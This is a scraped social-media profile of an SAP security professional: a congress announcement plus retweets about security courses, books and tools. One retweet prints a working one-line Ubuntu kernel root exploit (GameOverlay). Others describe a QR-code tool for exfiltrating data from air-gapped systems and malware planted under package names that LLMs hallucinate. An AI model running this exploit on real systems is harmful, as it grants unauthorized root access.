SAP Security & IT Security. All tweets are my own :-).
Heidelberg - Germany
Joined January 2013
- Tweets416
- Following240
- Followers198
- Likes156
Yeehaw! 🤠 Claim your ground in the Wild Wild West @_DSAG Jahreskongress 2026 in Cologne! 🌐✨
Let me know if you’re there too – would love to connect, exchange ideas, and catch up! 🤝
#DSAGJK26 #DSAG #SAP #Networking
Frederik Weidemann retweeted
I built an open-source library of 700+ cybersecurity skills for AI coding agents -- covers DFIR, threat hunting, cloud security, and more github.com/mukul975/Anthropi…
Frederik Weidemann retweeted
Information wants to be free and your firewall wants to argue about it 🙄
Frederik Weidemann retweeted
🚨 Limited Offer! 🚨 Master SAP Security for FREE!
Our "SAP Security Core Concepts" course on Udemy is now available. First, 100 students learn for free!
🔒Enhance your cybersecurity skills 🏆BlackHat conference material 🆓Use code: REDRAYS-SAP-SECURITY
udemy.com/course/sap-securit…
Frederik Weidemann retweeted
This new book has finally arrived. Thank's to @nostarch as well as @billpollock for making it happen as well as @Lee_Holmes as my tech reviewer.
ALT A copy of the book Windows Security Internal, available from No Starch Press that was written by the author of this post.
Frederik Weidemann retweeted
Playing snake on @Ubiquiti Etherlighting switch.
Most expensive gaming console I own. Game selection is pretty limited due to the poor resolution. They went overkill on ethernet connectivity but forgot about other ports, I can't even plug in my gamepad. But it has RGB. 9/10
Frederik Weidemann retweeted
So, the security of your employees' private Google accounts now determines the effectiveness of your MFA. I guess it's a good idea to routinely check their Google accounts on haveibeenpwned.com - haha
bleepingcomputer.com/news/se…
Frederik Weidemann retweeted
Exploit is so easy it fits in a tweet🔥
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'
We found two 0-day vulnerabilities in @Ubuntu kernel and it all started by reading descriptions of old CVEs 📖
Thread about the discovery of #GameOverlay 🧵👇🏼
Frederik Weidemann retweeted
ABAP Platform Trial as Docker Image - now available!
blogs.sap.com/2023/07/31/now…
Frederik Weidemann retweeted
* People ask LLMs to write code
* LLMs recommend imports that don't actually exist
* Attackers work out what these imports' names are, and create & upload them with malicious payloads
* People using LLM-written code then auto-add malware themselves
vulcan.io/blog/ai-hallucinat…
Frederik Weidemann retweeted
Sunday read.
This is hilarious. Engineers are competing who creates the worst UI on Reddit.
I think the winners are:
1/ Enter your phone number
Frederik Weidemann retweeted
QRExfiltrate
This tool is a command line utility that allows you to convert any binary file into a #QRcode movie. The data can then be reassembled visually allowing exfiltration of data in air gapped systems.
github.com/Shell-Company/QRE…
